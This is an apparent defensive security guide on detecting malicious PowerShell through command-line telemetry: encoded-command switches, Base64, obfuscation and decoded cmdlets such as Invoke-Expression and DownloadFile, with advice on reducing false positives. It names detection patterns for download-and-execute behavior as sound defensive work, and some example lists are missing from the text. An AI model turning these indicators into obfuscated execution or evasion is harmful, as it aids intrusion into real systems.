Process and command-line monitoring
Command-line parameters are by far the most efficacious for detecting potentially malicious PowerShell behavior, at least as far as standard process telemetry is concerned. Logs such as Anti-Malware Scan Interface (AMSI), script-block, or Sysmon can be particularly helpful for detecting PowerShell.
Encoding command switch
Encoding and obfuscation tend to go together. Watch for the execution of
powershell.exe with command lines that include variations of the
-encodedcommand argument; PowerShell will recognize and accept anything from
-e onward, and it will show up outside of the encoded bits. The following are example variations on the shortened, encoded command switch:
This is a starting point, so be prepared for some initial noise as you implement and tune this detection logic.
Base64 encoding isn’t inherently suspicious, but it’s worth looking out for in a lot of environments. As such, looking for the execution of a process that seems to be
powershell.exe along with a corresponding command line containing the term
base64 is a good way to detect a wide variety of malicious activity. Beyond alerting on PowerShell that leverages Base64 encoding, consider leveraging a tool—like CyberChef, for example—that is capable of decoding encoded commands.
Once decoded (from Base64), you may encounter compressed code, more Base64 blobs, and decimal, ordinal, and obfuscated commands. Obfuscation (whether inside or outside the encoding) breaks up detection methodologies by splitting commands or parameters, inserting extra characters (that are ignored by PowerShell), and other janky behavior. You can use regular expressions (such as
regex) to increase fidelity and help flag more interesting activity from within the decoded sections. Monitoring for the execution of PowerShell with unusually high counts of characters like
% may help you detect suspicious and malicious behavior.
Once the command line is decoded to human-readable text, you can also watch for various cmdlets, methods, and switches that may indicate malicious activity. These may include strings such as
Invoke-Expression (or variants like
DownloadFile methods, or unusual switches like
Weeding out false positives
Monitoring for encoded commands may seem like an easy win, and it is certainly a place to start. However, you will quickly find that many platforms and administrators leverage PowerShell and use encoded commands as a part of normal workflows. As such, flagging activity simply based on variations of the
-encodedcommand switch may generate a significant amount of noise. Start with queries against offline or static data to get a feel for volume.
Once you have a better understanding of your overall volume, identify patterns within the decoded data. Leverage your knowledge of what is normal for your environment in order to identify what is potentially malicious. Automation is critical to not just detecting encoded commands, but the contents of those commands once decoded. Prior to applying detection logic, feed encoded command lines into a workflow that decodes them; that way, you are increasing fidelity from the start.